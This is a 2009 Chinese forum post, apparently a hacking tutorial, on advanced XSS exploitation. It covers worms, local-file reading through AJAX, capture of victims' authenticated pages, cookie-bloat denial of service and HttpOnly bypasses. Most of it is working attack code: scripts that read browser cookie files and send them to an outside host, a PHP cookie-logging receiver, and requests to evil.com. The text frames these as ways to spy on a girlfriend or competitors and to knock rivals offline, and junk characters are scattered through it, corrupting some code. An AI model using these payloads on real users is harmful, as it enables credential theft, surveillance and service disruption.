XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
& j# `; X* _2 J7 A) d6 E本帖最后由 racle 于 2009-5-30 09:19 编辑
3 I$ q) x4 @' c, Y. J2 k1 O8 Q
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
. E* ~/ `  P7 l& O6 X( u转帖请保留版权



0 \# f/ C5 O8 H# k3 t- Y-------------------------------------------前言---------------------------------------------------------
! \: W- u( K2 L, s) ?

1 ^) T: k' T/ b, n# b8 h+ x' Z+ u本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
, W3 l: X; @! E8 J9 m1 G, B0 Nhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
$ u3 }" [% E7 l5 K* q, ^: K6 bhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

; S) x/ W+ X3 D& k9 Q


. ]' U% j5 g( t7 Q+ J如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
* s! f  L  x+ I, m' {( o; E% p. R& t
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
9 u8 j6 Y' i* H" X
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
% O8 {! F. z6 `. L
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

7 n9 Q7 W) _4 N# V# h' }5 u/ ZQQ ZONE,校内网XSS     感染过万QQ ZONE.
; Y# w9 u" D3 g( R% `
7 _8 t' a; n3 [- YOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

( u1 T; |3 c' _# d9 M..........
复制代码------------------------------------------介绍-------------------------------------------------------------
5 N2 \* b7 ]3 Y
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
0 n2 q  T2 x0 P  b0 n  `8 _

" w) ]  ?: ]0 a# J& W4 y
5 Y1 ?$ D' F6 b. Z" ?* @3 Q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

. O- ~2 I  t, |  z+ f* f- T

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
& P$ c- l' i, a6 g* v( N" Y复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
8 L+ a$ b. X0 P( W! m5 t/ D3 m' J我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

, M1 i5 n! C, n3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
6 s* P/ C# M& y+ B  n9 c$ `- j: F; D
4        XSS漏洞在输出和输入两个方面怎么才能避免.

/ G* P' M- j6 k( [' Z$ J

+ q9 q0 U9 j8 f1 T------------------------------------------研究正题----------------------------------------------------------



通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
, v0 @) Y* A! p* N" Z; q. g2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
: H8 s- M: I! R% e4:Http-only可以采用作为COOKIES保护方式之一.



8 M0 T8 t0 ^- U- j

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



2 C9 b) K2 r+ b4 |: f* `    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
8 f2 |' p" v) [& c+ v: v
8 A/ W7 _+ N$ P& _/ ~4 X2 U
7 _9 S. i  m8 M! H
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

- J" A! H$ H/ n3 D/ f7 P: p8 r    function $(x){return document.getElementById(x)}

9 a' P6 K2 ]3 V! S

    function ajax_obj(){
6 f3 E! O6 h" T  r! ?
    var request = false;

    if(window.XMLHttpRequest) {
) p; K, g. }7 _2 h" [# j7 I& d
! Z4 C8 I. l3 l8 m0 L; t8 b; B5 |    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
2 U8 }9 T. \2 m
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
7 N: T7 ^, \$ w! D/ N
/ K% |! q2 W# [% V  F

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
7 p) Q$ U9 M6 R  ]  E7 b
    try {
1 e6 G/ i$ l9 n  [' P
    request = new ActiveXObject(versions);

    } catch(e) {}

2 R: J: O0 {/ t% O0 W5 h- n    }

    }
0 I# X" u& h- B2 b0 E% W3 e
    return request;

    }
6 b+ A3 E' P; Q: x; {) s7 j
1 m% g! T. Q  u    var _x = ajax_obj();
7 w/ r) ^" x  E7 p
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
( {* \3 M3 J/ X& U& G  Z& t9 S9 Q
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
2 D& ~- I; G( l. Z
    _x.send(argv);

    return _x.responseText;
0 M) }: D) X5 `
) G' R6 ?5 a& q5 g: `: P    }

: q- z0 W6 I& m
' g9 K( J9 Y3 h$ D* A3 z
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
$ y  R8 l: S0 n& d/ |. a
    alert(txt);
' f. s) @4 o6 E) _/ ~
; M& m8 |* d& B7 G
! y9 S  g/ x2 N: G6 i% x" l# H2 b
; e8 j1 U+ X/ A: S    </script>
; e3 r0 F% S- E- Y! A复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
% G# z! L) |& t
0 B6 M. |& j* F& }5 r- I* e' a    function $(x){return document.getElementById(x)}



4 e$ l/ O  T: p# ?1 X6 ^6 M    function ajax_obj(){

7 E1 }6 e  F3 z4 `) q" ~0 j( i    var request = false;

    if(window.XMLHttpRequest) {
5 Q  O1 d* m0 V" R
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
( D! i- O8 {- F. a; h, A8 f/ W( E
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
1 D5 h+ u: v( X( u% f
+ ?; }( r; ^; d3 l) j

2 V7 v8 ^( y* l; w. I& l    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. r& S) a8 a- U4 C! o2 ~
    for(var i=0; i<versions.length; i++) {
4 L# a  N7 b( v& y( J
: w7 P2 D' m1 s$ e& D1 o5 U/ |: J    try {

    request = new ActiveXObject(versions);

5 I0 H0 X3 i0 j5 t$ c! L    } catch(e) {}

    }
6 x, a+ S8 Y& m7 g2 \( i# u
    }
! K# F9 q. ?3 E- _
    return request;

0 G" J8 w1 \# o& N0 Q. e! F    }
0 h/ I+ f% a) ]+ l+ ?
8 c( `& s" z4 C5 C! _    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
# u& ^  E0 G4 F$ [5 F' ^
: v1 G- ?  O( q$ J9 Z8 z5 l    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
' z5 \2 O2 S# |9 f
+ s4 Y5 j7 B* ~7 T8 H9 a4 @& ]    return _x.responseText;
1 S; c0 [9 t! k, U2 p8 w9 a
, ^8 \& |/ E2 {5 D/ m, M6 A: u+ m% m    }
8 E4 d, V- f" `1 y
" q  G- N) G5 L" o! }" @
1 z8 L7 e; ~$ u& u
    var txt=_7or3("GET","1/11.txt",null);
) d+ p3 ^1 F: M- W# M* f
    alert(txt);
2 ?1 M" ^7 d% e0 D  ]8 @" Y! `' d; m

0 i, ~0 _  i' Z
. g4 h) _' {! f' K3 l    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

/ p" S- k$ o% |/ R; e
* x, N* \1 x/ a" P
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


  A8 `, G) l5 e' ]$ X# Z8 C+ T4 J$ v
3 c; |9 H+ D& h" _9 `* ]' [<?   
8 G5 s0 j8 r. A# }" A: V
/*  
) Z: r6 |# p* a8 e$ K2 E
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
* |2 A5 _. L) G, u! O( ]. I
, h, ^3 p/ L3 _8 b4 m$ z     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
; F" T3 C$ s* n% a
4 @( y3 ?: b* E0 N/ p: _     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
& T7 u% E& P6 `1 @* }( Z
' i% G" Q0 r, [*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

8 E+ k9 f2 q6 ~, A$ G4 x9 e6 T' Bheader("Content-type: application/kxlzx");   

/*  

4 n9 N& p& a+ Q, v# t& x     set header, so just download html file,and open it at local.  
# p  i1 P( l4 \2 h8 g
*/  
# ?! e, b' P9 F3 m' U
?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
5 h5 J  _* v: c4 o+ Z+ E4 \
0 K* n! |) a1 T0 ]! _/ z, O     <input id="input" name="cookie" value="" type="hidden">   

) U+ N: o" `; d9 T2 j$ ]</form>   

" y) E# ?* Y; s  S5 d6 g<script>   
4 N0 Q: S4 g$ Q- r: N0 g+ x" p4 d
function doMyAjax(user)   
# J: I, o! b0 w; b+ T: L% F7 H  `2 Q
9 n* p5 g/ B( R3 v3 O4 u{   
; K. w; D3 o+ S1 \
var time = Math.random();   
( X; k7 h5 q( Y: v, l$ s$ y
/*  
9 h: u, D6 d. [0 l8 \. l. m
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
" `2 i! d" q4 u  S& t
1 e; y4 T5 Q2 ~6 ^; e6 ?4 T*/  

/ S* [+ ^0 i+ Y! A0 S) I8 d- evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 m2 A  {  d" D5 `9 j/ T! x: r/ Y
   
  f; I+ K6 L3 E. B
startRequest(strPer);   
; @( H! U  {8 t1 m
: g9 G: I" m  n- r5 b* i

}   

   

function Enshellcode(txt)   
8 N& [2 \. i3 F/ i: w
{   
* U7 z5 y% x& r  d; @' l
var url=new String(txt);   
1 G3 D+ ?9 r( |
var i=0,l=0,k=0,curl="";   

- P  H4 T& P- f, k7 Il= url.length;   

for(;i<l;i++){   

k=url.charCodeAt(i);   

$ X% G" ~) i. X* n) t! Lif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
: i. m7 d5 I& i; w2 k6 f0 }
! T3 f3 [+ ^7 q+ y6 @. wif (l%2){curl+="00";}else{curl+="0000";}   

2 `: c) M2 J0 J, c" \/ Kcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

- }9 M$ W# U2 N6 `return curl;   

3 x( k9 Q' t9 y0 q3 T7 x}   

9 M8 r0 E) n7 r   
) T( a' Q5 Q7 G- e9 }9 ?
9 m! W" l9 p# D( M5 m0 t% A   

+ X, d8 `: Y. ]3 n4 }var xmlHttp;   
# p' m( M' c3 Y, f: }2 N
function createXMLHttp(){   

     if(window.XMLHttpRequest){   
" m7 ~5 ^# [. }4 A) h4 E* w+ w: l9 S
& U! U7 b0 ^' l7 b2 t2 ixmlHttp = new XMLHttpRequest();           

7 r3 v: G5 c, _( Q% R( {% r     }   

     else if(window.ActiveXObject){   
8 ?" l0 D6 I$ i' h) @
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

- X7 J; }* b: i' P     }   

* d3 t; u5 [. w/ j7 \2 ?}   

   
" N5 E% u) B5 ]: Z' N
2 }& Y% t' Q$ `  e0 a4 D% `5 afunction startRequest(doUrl){   

   

6 h, D) y- q' e" a     createXMLHttp();   


0 k. J. o2 H! k6 ~4 k
/ f4 B7 `6 M0 j% T0 ?; ~5 ]5 K) Z     xmlHttp.onreadystatechange = handleStateChange;   

1 i+ y2 C$ d+ `# X  a* S% v+ O
! k  E! i+ n" _# z  b2 s
( Z# d- Z! o( m2 n. n     xmlHttp.open("GET", doUrl, true);   
1 }$ i& `: @) @0 n: ~# f

* M( z5 K8 B) W8 s7 Z# \
     xmlHttp.send(null);   


: O% D2 r3 n; F- l! R
7 {6 L% l; J3 X4 \# M2 u
5 I6 H- o( Z  S
4 n$ J, A3 t4 {# Z; S% Z}   
$ I0 D' }  N9 O! r9 x
# M) g+ a: [- e2 K   
7 \" i4 e0 N0 O% I6 E8 L
function handleStateChange(){   

6 l" x6 x' _/ d" z, j( S0 W, c     if (xmlHttp.readyState == 4 ){   
+ @" l7 \9 v% h6 A  f! a2 ?
     var strResponse = "";   
2 M7 A: V, M; N, d: ]7 c& [7 y$ T
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
( @$ R9 H% j8 H4 X8 U, z3 l
9 T7 A2 P9 L& H6 [- K% c        

# m7 H: s' L3 h& d3 Q( G- Q     }   
' W3 y: P6 A; u! p7 L# R/ T! X; U
8 B) P7 _& y4 E# Q& W}   

) q! c4 A. K* m/ q2 k/ ?   

* _" \) F8 N# P; I% W6 E   
% G' Z, O- U: o# ?: `% i
function framekxlzxPost(text)   

{   

     document.getElementById("input").value = Enshellcode(text);   
3 c, t. |0 u0 i4 E9 P; c$ E' n8 F
     document.getElementById("form").submit();   
& r3 g1 M% H' p# ^+ B7 `
9 v+ e; b" `2 P}   
1 u+ }2 P4 v7 P, k( n3 L, m0 n
   

3 E- e. O  S% S+ B! y! wdoMyAjax("administrator");   
* H5 H1 v# t! {6 _
* ?: K! \5 u6 x' f+ |5 e5 S$ t" O   
- C0 T" j" Z8 J+ @8 \/ l
( ]. X) V$ i# e4 F  m3 ?: _</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

% r9 L8 @2 @' s% s* w0 @# y; w+ ^( _  Hvar xmlHttp;  
( y6 ]- e5 S  y) w+ p) a  W0 r
+ r, \; e# v7 y2 Afunction createXMLHttp(){  
; W/ m- v3 ^# p3 ~) t0 O9 ?
7 `- |, p& c" H. [- i( y: p$ P     if(window.XMLHttpRequest){  

; ?$ w3 h/ k: C9 m         xmlHttp = new XMLHttpRequest();         

     }  
# \1 n9 |% s+ t5 d3 R" c3 s) d
3 U1 ~5 H% V$ c& P% N6 s9 O- N     else if(window.ActiveXObject){  
+ f! W; I4 ~/ u% B9 O; r2 G
5 q6 z+ H# J& W! A3 S' a/ O         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
" \3 n& q( K' }) Y1 `% v7 ~
     }  

% O, d' ?: ~8 `3 J' y2 f}  

/ W$ x- ~0 Q  S: c   

function startRequest(doUrl){  
; m6 R* c0 B4 h- J! b+ _3 h' \1 ~- T
           

/ d/ t0 ~5 L- b     createXMLHttp();  
2 O- b2 T3 x4 Z0 b  b  _
      
/ N% w& S3 E( v0 U' p" Y% I
     xmlHttp.onreadystatechange = handleStateChange;  

  T4 i0 P9 j* B) I      
! {$ F9 f/ O6 o& s* s9 g% P
$ O3 r( |) ^/ y- a     xmlHttp.open("GET", doUrl, true);  

) h+ O+ v' p1 x  q$ V6 z      
0 G3 F5 z) ]2 ?; J7 l
3 n+ @0 r6 Z: v% v8 J8 ^+ [, w     xmlHttp.send(null);  

      

3 D/ n. u5 H9 n0 G3 J( k# `      
* a# V9 Y% f( X3 V5 s. s5 ?
3 d6 ?0 g3 p5 L2 i7 M% v& e- E  U}   

, {+ ]! W9 p( i! b0 v0 c   

function handleStateChange(){  
1 ?" l- L- q% T) m8 ]
     if (xmlHttp.readyState == 4 ){  
1 L$ q) v. ~! @- \
) S" j7 p# u! R/ _! |  `8 N             var strResponse = "";  

: ~$ Q: v1 L8 @2 G: B! A- A             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

/ l# c; |: q4 ~, E$ s. C               
# i, z" Q1 X  o9 O5 w4 `6 D! w0 G
     }  
4 @# O. K- V" {4 _7 f7 f
}  

  |  t& [; G. Z% J8 ^   

* L, r5 n+ d6 \( y4 K- [) b2 ~function doMyAjax(user,file)  

# ?. V. y! E! M8 S{  

         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
, l9 S4 [7 w( [" }4 z- Q# ~
, [) q& f+ G5 L: y1 D# h: K         startRequest(strPer);  

3 l! `+ D' |, H8 o0 l      
5 l7 |( i' m3 z. |$ l4 q6 I6 P+ @( C
}  

   

function framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

# Z: M! q3 T2 S5 S8 e}  

" ]) w) a4 ?% R7 w! l5 ]* x   

doMyAjax('administrator','administrator@alibaba[1].txt');  

   
, R) q; ~& i0 ^/ N! b0 @% I+ A
</script>

+ t7 z- [; W$ A, y  X


9 [" B8 ~+ _- Y3 t
a.php
0 A# K4 e0 B7 ]3 C2 T0 M

3 P9 l1 U: V) t* i3 X% k
<?php      

% e) l" ~" J& U  R   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

* u3 C( U' U" ^! h; n$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
2 F% G% p! O1 J. f7 T1 E, y
  
+ h; V: U# u) J; M$ H9 \8 s
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
8 w3 X1 H3 c% n. _5 R
# U2 [+ ?  ^0 D  Zfwrite($fp,$_GET["cookie"]);      
* m  v4 T" Y& L5 [+ ~1 \$ a
9 R4 h9 w* W1 J* ufclose($fp);   

$ w9 J. Y! y+ V+ L- g?>
3 ~. s. H" n! p$ P7 y6 Q$ ~复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
. g7 y; ~6 m, ^
! x1 M* `7 ~+ b. o  E或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

9 w" X6 q# F6 n8 A代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
' c8 `6 B. r3 j
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

% i& j0 h! U: L# D! R//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
5 b) V- H' h8 G7 [3 a1 ]9 C2 v
  R* g5 _; O# r8 u8 R' V! bfunction getURL(s) {

7 V* u3 \5 I: y# ^; z2 v: T( e) tvar image = new Image();

9 A% N0 `4 G2 N% x1 T! F2 n0 iimage.style.width = 0;

image.style.height = 0;

image.src = s;

}

8 x) P1 k' k1 ugetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
8 d  O1 F1 @9 z" d2 u这里引用大风的一段简单代码:<script language="javascript">
5 u# Z$ j( K0 u" `1 n4 i) U0 {4 k
. D0 U( x, J3 t9 w4 X. Pvar metastr = "AAAAAAAAAA"; // 10 A

7 K' p+ B; f0 G7 K4 [3 @var str = "";
; f/ [9 W. i; z: I% ]
( g1 b8 O5 v: A5 I5 Ewhile (str.length < 4000){

    str += metastr;
" H" W# |; v* \& a" }# o) J
}
* L- |* F" ^/ X; }6 a. ^+ Q1 ]
- I# W5 \- d  X% W5 p) Q

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
" P) Y8 f8 ?. k; v/ E$ g
% D: ^; P6 Z* k" o! [</script>

! Q: f5 }$ X/ X: n详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
; j7 f, T& O* C/ c3 L3 I复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
2 h9 R+ O+ V4 H5 o3 ~5 A6 vserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
  l3 N6 r- F7 G) s, _& R) @. ?0 u5 `1 Y攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
! f. w! Y) H& p4 |, Q6 z6 k
" w& |1 t( {5 u. {5 T' _: [- P




$ L0 L5 \' P' \6 |2 l( `" R4 s(III) Http only bypass 与 补救对策:
- u4 v3 t$ j+ b, w# {
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
& r  {+ l. g; y8 ?2 W" I3 }以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

- U+ N+ r5 \4 t: |  z' S<!--
4 i6 s  o1 x8 d. I
function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
  ~0 e! j4 J4 i8 y- v
}

- y' R, h( W# W( h
! E0 d: U! z( f- }4 _6 _( ~$ k, F

$ J* q5 H& y% ?- y( e
' a- H# }! u% G/ K% m3 ^( [; h& L* Zfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
2 M) q( P/ z; v; d; h3 G
alert(document.cookie);}
. y; x# I8 H% w% ?- T

. @1 }3 h2 C, l8 @& r1 [
! a7 E7 H+ I6 O$ _: F& `6 v; w//-->

</script>
" O' v1 S3 }. H' ?* m7 U4 {0 c# Q

) l6 t+ {( u' T4 C* Y
( k# p, S4 K4 D, z<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

! c- q/ M0 T8 l7 y<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
3 V( {4 m7 J: S7 ~) H! _复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
) X0 t  B+ [! [8 t: f% {* _
  R0 \) _7 I5 ]7 m. S, m
/ U) z& H6 h( ?* K
var request = false;
5 @' S7 h" H6 z; T% }
) b  Y7 V* U, Q- I, |  q' T        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();
, z, i  r( \, M* J0 h, W
            if(request.overrideMimeType) {

+ }! x$ k& x  U! ?                request.overrideMimeType('text/xml');
: z. K/ z" ?* W7 d) U0 `- G  J
            }
; u& C9 w1 C9 [& a& o. H2 ^4 I
        } else if(window.ActiveXObject) {

7 b1 y9 Y3 b# `            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

  x% X$ \% [+ {3 W                try {
6 b2 v- @0 I) C2 Q: W
% }6 B% x2 @! l7 P                    request = new ActiveXObject(versions);

                } catch(e) {}
4 b0 |/ Z! W# K) Z
* n. i. a" s" J; Y" Z6 G: c            }

4 e8 J; w" x! F4 g5 Y        }

' j) m0 g1 D5 }% Q9 a5 f3 F! txmlHttp=request;
# Q1 [8 ]' p% S
5 F: c5 B8 {7 [  P1 r3 c, d/ YxmlHttp.open("TRACE","http://www.vul.com",false);

- z0 N2 _. G$ q$ N" exmlHttp.send(null);
: H4 F6 ^$ a- @& M7 U
xmlDoc=xmlHttp.responseText;

. X4 r7 h6 ]7 v9 Nalert(xmlDoc);
2 f; b7 P+ y7 m$ u. t
" p& Z0 b2 R. n4 `) Z3 d</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

8 H+ \4 t: S6 S+ sXmlHttp.open("GET","http://www.google.com",false);
3 H" z/ g. w: m8 f* J: c
" {) t5 E- @" [XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 j! o. f/ B$ t
XmlHttp.send(null);

+ x' u0 e- [, T: \& U8 c2 Lvar resource=xmlHttp.responseText

resource.search(/cookies/);

- x: o( `4 d, F, g  d2 n......................

+ x/ `' {, A; _& a( l. j  l6 _</script>


$ |# x3 q4 x4 l


如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
  l" z5 |# s  R) E0 X
7 J0 F. F$ ]3 z1 _[code]
/ ?4 n9 x# v0 M$ a2 [2 Y
RewriteEngine On
# g" e+ w* @- u2 x2 H
RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]

& v# `( f( `0 ]* G. D. V+ ?" n/ f) O

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
& w: A: A* L, j- [' d. ^5 _; M/ H9 s
acl TRACE method TRACE
$ A3 ]) m- c$ G2 n/ C
...
2 V/ t3 t% q: ^+ s; \; M/ L/ ~
http_access deny TRACE
9 |+ K' |# e; _1 t. ^; n6 m复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
+ T4 F8 l$ D' Z9 o+ n1 Y9 S
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

0 L5 f  m7 Z& d) A: x1 R</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
& O  K" B7 n2 |! h$ K
7 M" n& n9 a" L; F& N$ ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

+ K6 c2 s, ^& g) w" W$ b<script>
